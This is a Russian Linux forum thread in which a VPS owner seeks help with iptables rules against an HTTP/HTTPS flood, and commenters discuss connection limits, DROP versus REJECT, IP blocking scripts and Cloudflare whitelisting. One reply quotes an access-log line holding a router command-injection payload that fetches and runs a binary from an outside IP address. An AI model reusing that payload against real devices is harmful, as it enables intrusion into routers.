LINUX.ORG.RU
ФорумAdmin

Флуд на порты 80 и 443. ддос. Прощу помощи сконфигурировать iptables

 ,


0

1

Столкнулся в первый раз.

netstat -na | grep :80 | wc -l
1913

netstat -na | grep :443 | wc -l
1893

Временно добавил в iptables строчки для ограничения числа входящих запросов (не более 20 с адреса), однако правила не применяются, флуд проходит сотнями запросов с одного IP.

Вот текущий вывод: iptables -L –line-numbers

Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 REJECT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80 #conn src/32 > 20 reject-with icmp-port-unreachable
2 REJECT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:443 #conn src/32 > 20 reject-with icmp-port-unreachable

Chain FORWARD (policy ACCEPT)
num target prot opt source destination

Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
1 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 multiport dports 25,465,587 owner GID match 986
2 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 multiport dports 25,465,587 owner GID match 12
3 ACCEPT tcp -- 0.0.0.0/0 127.0.0.1 multiport dports 25,465,587 owner UID match 989
4 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 multiport dports 25,465,587 owner UID match 0
5 DROP all -- 0.0.0.0/0 172.0.0.0/8

Ответ на: комментарий от Kolins
  1. Drop и Reject без разницы. Ни то ни другое не применяется.

Generated by iptables-save v1.8.5 on Thu May 2 08:16:37 2024

*filter :INPUT ACCEPT [54866067:7369417328] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [19474906:16277922634] -A INPUT -p tcp -m tcp –dport 80 -m connlimit –connlimit-above 20 –connlimit-mask 32 –connlimit-saddr -j REJECT –reject-with icmp-port-unreachable -A INPUT -p tcp -m tcp –dport 443 -m connlimit –connlimit-above 20 –connlimit-mask 32 –connlimit-saddr -j REJECT –reject-with icmp-port-unreachable -A OUTPUT -p tcp -m multiport –dports 25,465,587 -m owner –gid-owner 986 -j ACCEPT -A OUTPUT -p tcp -m multiport –dports 25,465,587 -m owner –gid-owner 12 -j ACCEPT -A OUTPUT -d 127.0.0.1/32 -p tcp -m multiport –dports 25,465,587 -m owner –uid-owner 989 -j ACCEPT -A OUTPUT -p tcp -m multiport –dports 25,465,587 -m owner –uid-owner 0 -j ACCEPT -A OUTPUT -d 172.0.0.0/8 -j DROP COMMIT

Completed on Thu May 2 08:16:37 2024

Generated by iptables-save v1.8.5 on Thu May 2 08:16:37 2024

*security :INPUT ACCEPT [56147991:7488017569] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [19488749:16279415545] COMMIT

Completed on Thu May 2 08:16:37 2024

Generated by iptables-save v1.8.5 on Thu May 2 08:16:37 2024

*raw :PREROUTING ACCEPT [216164241:17130911346] :OUTPUT ACCEPT [19842883:16303553614] COMMIT

Completed on Thu May 2 08:16:37 2024

Generated by iptables-save v1.8.5 on Thu May 2 08:16:37 2024

*mangle :PREROUTING ACCEPT [216164241:17130911346] :INPUT ACCEPT [216164241:17130911346] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [19842883:16303553614] :POSTROUTING ACCEPT [19488749:16279415545] COMMIT

Completed on Thu May 2 08:16:37 2024

Generated by iptables-save v1.8.5 on Thu May 2 08:16:37 2024

*nat :PREROUTING ACCEPT [168871059:9885877086] :INPUT ACCEPT [14851116:869997452] :POSTROUTING ACCEPT [511310:601126199] :OUTPUT ACCEPT [513188:601273747] -A OUTPUT -p tcp -m multiport –dports 25,465,587 -m owner –gid-owner 986 -j RETURN -A OUTPUT -p tcp -m multiport –dports 25,465,587 -m owner –gid-owner 12 -j RETURN -A OUTPUT -d 127.0.0.1/32 -p tcp -m multiport –dports 25,465,587 -m owner –uid-owner 989 -j RETURN -A OUTPUT -p tcp -m multiport –dports 25,465,587 -m owner –uid-owner 0 -j RETURN -A OUTPUT -p tcp -m multiport –dports 25,465,587 -j REDIRECT COMMIT

Completed on Thu May 2 08:16:37 2024

Yavaler
() автор топика

Если тебя просто ддосят и не смотрят отвечаешь ты или нет, по сути забивают канал - то твои правила iptables только заблокируют пакеты до приложения, которое их обрабатывает.

Чтобы прекратить флуд (ддос) обращайся к провайдеру / меняй IP / доменное имя.

Тупой ддос ты не победишь с помощью iptables, только если сами отстанут.

Измени сообщение с правилами, применив разметку.

Там каша.

kostik87 ★★★★★
()
Последнее исправление: kostik87 (всего исправлений: 1)
Ответ на: комментарий от Yavaler

Drop и Reject без разницы.

Совсем не без разницы, с REJECT улетает ответ, а DROP просто «забывает» про прилетевшее. Поэтому, как вам написали выше, использовать надо именно DROP.

Ни то ни другое не применяется.

Смотрите выхлоп iptables -L -n -v и если счетчик у правила растет, то значит применяется.

anc ★★★★★
()
Ответ на: комментарий от anc

Можно остановить сервис и запустить заново, но именно через остановку. А то вдруг при перезапуске он поддерживает сохранение соединений.

И тогда они должны порваться. Но думается мне, что ТС нужно идти к провайдеру или менять адрес.

kostik87 ★★★★★
()

флуд проходит сотнями запросов с одного IP.

С одного или с каждого? Если с одного то его запретить. Если с нескольких то можно попробовать fail2ban.

sin_a ★★★★★
()
Ответ на: комментарий от anc

Ну вестимо приложение, которое слушает порты 80 и 443, с большой долей вероятности это WEB-сервер, apache или nginx, но может быть и самописное приложение на python, go, чём-то ещё.

Поэтому сервис.

Ты же написал, что не рвутся активные подключения.

kostik87 ★★★★★
()
Ответ на: комментарий от anc

И как это повлияет на флудильню?

Никак, я написал зачем это может быть стоит сделать.

Я? Где это?

Неправильно интерпретировал.

В этом сообщении: Флуд на порты 80 и 443. ддос. Прощу помощи сконфигурировать iptables (комментарий)

Я изложил проблематику ситуации и то, что блокировка в iptables не решит вопрос загрузки канала флудом.

kostik87 ★★★★★
()
Ответ на: комментарий от kostik87

Я изложил проблематику ситуации и то, что блокировка в iptables не решит вопрос загрузки канала флудом.

Правильнее говорить «не всегда» решит, у меня были истории, вполне не иллюзорного, успеха когда хватало дропа. С дропа просто проще начинать. Вот если не помогает, тогда к прову.

anc ★★★★★
()
Ответ на: комментарий от anc

Если флуд тупой - вероятность 99%, ну ок 98%, что не решит.

Если флуда очень много, а канал небольшой - ещё выше вероятность, что не решит.

iptables в первую очередь снизит нагрузку на приложение, которое слушает порты 80 и 443, чтобы запросы в пакетах с проблемного IP не обрабатывать.

kostik87 ★★★★★
()
Ответ на: комментарий от kostik87

Если флуда очень много, а канал небольшой - ещё выше вероятность, что не решит.

Вот как раз одна из историй успеха произошла на 10-ти мегабитном канале.

iptables в первую очередь снизит нагрузку на приложение, которое слушает порты 80 и 443

Хорошему ddos приложения не обязательны. Вам целиком канал положат, точнее вы сами его положите, и всё.

anc ★★★★★
()
Ответ на: комментарий от Yavaler

Так ты ему не говори новый IP и доменное имя.

А так, правильное решение лежит в плоскости обращения к провайдеру или хостингу где сервер с просьбой заблокировать IP.

kostik87 ★★★★★
()
Ответ на: комментарий от kostik87

Мне и нужно снизить нагрузку на приложение. Канал нормальный и держится, сам ВПС слабый и перегружается, нагрузка на проц стабильно 90-120%? судя по графу.

Yavaler
() автор топика
Ответ на: комментарий от kostik87

Может попробовать блокировать по IP злобного сервера?

Как пример… смотрим логи /var/log/apache2/access_log и видим такую картину:

195.1.144.109 - - [02/May/2024:11:41:52 +0200] «GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk) HTTP/1.1» 403 975 «-» «Go-http-client/1.1»

83.97.73.245 - - [02/May/2024:13:00:13 +0200] «GET /actuator/gateway/routes HTTP/1.1» 404 985 «-» "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78

185.94.29.162 - - [06/Apr/2024:03:14:42 +0200] «POST /boaform/admin/formLogin HTTP/1.1» 404 1148 «http://87.189.84.104:80/admin/login.asp» «Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0»

выбраем по каким параметрам ( на пример - «boaform», «cgi-bin», «actuator» или по другим) блокировать IP злобного сервера! … см. /var/log/apache2/access_log

195.1.144.109, 83.97.73.245 и 185.94.29.162

скрипт берём отсюда: http://togusak.ddnss.de/web/ipblock.sh

запускаем скрипт:

server:~ # chmod +x ipblock.sh

server:~ # ipblock.sh start

смотрим:

server:~ # iptables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

DROP tcp – 83.97.73.245 web.dyhap.org tcp dpt:https

DROP tcp – 83.97.73.245 web.dyhap.org tcp dpt:http

DROP tcp – hostedby.privatelayer.com web.dyhap.org tcp dpt:https

DROP tcp – hostedby.privatelayer.com web.dyhap.org tcp dpt:http

DROP tcp – sin.da.shadowforce.io web.dyhap.org tcp dpt:https

DROP tcp – sin.da.shadowforce.io web.dyhap.org tcp dpt:http

Chain FORWARD (policy ACCEPT)

target prot opt source destination

Chain OUTPUT (policy ACCEPT)

target prot opt source destination


server:~ # ipblock.sh stop

смотрим:

server:~ # iptables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

Chain FORWARD (policy ACCEPT)

target prot opt source destination

Chain OUTPUT (policy ACCEPT)

target prot opt source destination

demo13
()
Последнее исправление: demo13 (всего исправлений: 1)
Ответ на: комментарий от demo13

[02/May/2024:11:41:52 +0200] «GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk) HTTP/1.1» 403 975 «-» «Go-http-client/1.1»

это лишь автоматический сканер, он по списку сайтов проходится и проверяет на уязвимости. в данном случае ищет уязвимый роутер. смысла в блокировке нет, так как на твой сайт он и так раз всего зайдет

rtxtxtrx
()
Ответ на: комментарий от demo13

В моем случае, точечные команды блокировки по IP типа: iptables -I INPUT -s 38.129.152.53 -j DROP Опережают прирост активных айпишников атакующего

Атака идет по схеме плавного наращивания числа подключений с каждого айпишника.

Поэтому я считаю, что фильтрации через iptables, возможно будет достаточно.

Но почему-то точечный блок по IP работает, а блокировка по числу запросов нет. Вот это хочется понять и все-таки настроить.

Если это важно, сервер работает на Almalinux8 Но я не могу найти, где лежат логи (если они вообще есть)

Yavaler
() автор топика
Ответ на: комментарий от rtxtxtrx

Я вечером ручками 100 активных IP занес в дроп и сдулся ддосер, уже часа два тихо. Пошел еще 100 IP искать, видимо. Как-то автоматизировать бы этот процесс блока.

Yavaler
() автор топика
Ответ на: комментарий от Yavaler

, точечные команды блокировки по IP

Вы не поняли…

Это не точечные команды блокировки!

скрипт запускается как демон и постоянно, каждые 10 секунд, проверяет лог веб-сервера.

как только появляется запись «злобного сервера» по выбранным вами параметрам , он его блокирует по IP до тех пор (можете сами установить время блокировки параметрам UNBAN=-*/30 в скрипте - на 30 минут или другое.), пока по команде iptables -F из /etc/crontab все IP будут удалены и скрипт запускается снова… пока вы не остановите его командой ipblock.sh stop.

можете установить время блокировки UNBAN= хоть на 1час, 2часа, 10 часов или другое…

заблокированные IP пишутся в файл - ban.txt

demo13
()
Последнее исправление: demo13 (всего исправлений: 2)
Ответ на: комментарий от rtxtxtrx

С клаудом полегче в любом случае. Настроить сам сервер на борьбу с флудом мне скилов не хватило.

Почему-то везде все инструкции с описанием настроек iptables, при том что он вроде как устарел.

У меня AlmaLinux 8, nftables стоят, но даже в мануале от Клауда, идет описание настройки iptables (

В частности, речь о том, чтобы запретить любой входящий на порты 80, 443 (только их и флудят), кроме как с подсетей Клауда.

For IPv4 addresses

iptables -I INPUT -p tcp -m multiport –dports http,https -s $ip -j ACCEPT (я все подсети из их списка внес этой командой последовательно)

Остальное отбрасываем iptables -A INPUT -p tcp -m multiport –dports http,https -j DROP

Все вроде работает, однако после этого сайт перестал коннектится с ДБ MySQL. Показывает таймаут соединения.

Что нужно еще разрешить пропускать? База на локалхосте 3306 (стандартно)

Yavaler
() автор топика
Ответ на: комментарий от Yavaler

Что нужно еще разрешить пропускать?

Вы исчерпали свой лимит бесплатных ответов в этом году

PS: может то не ддос был, а пользователи сайта? Ходили на сервер, флудили запросами

serg002 ★★★
()
Последнее исправление: serg002 (всего исправлений: 4)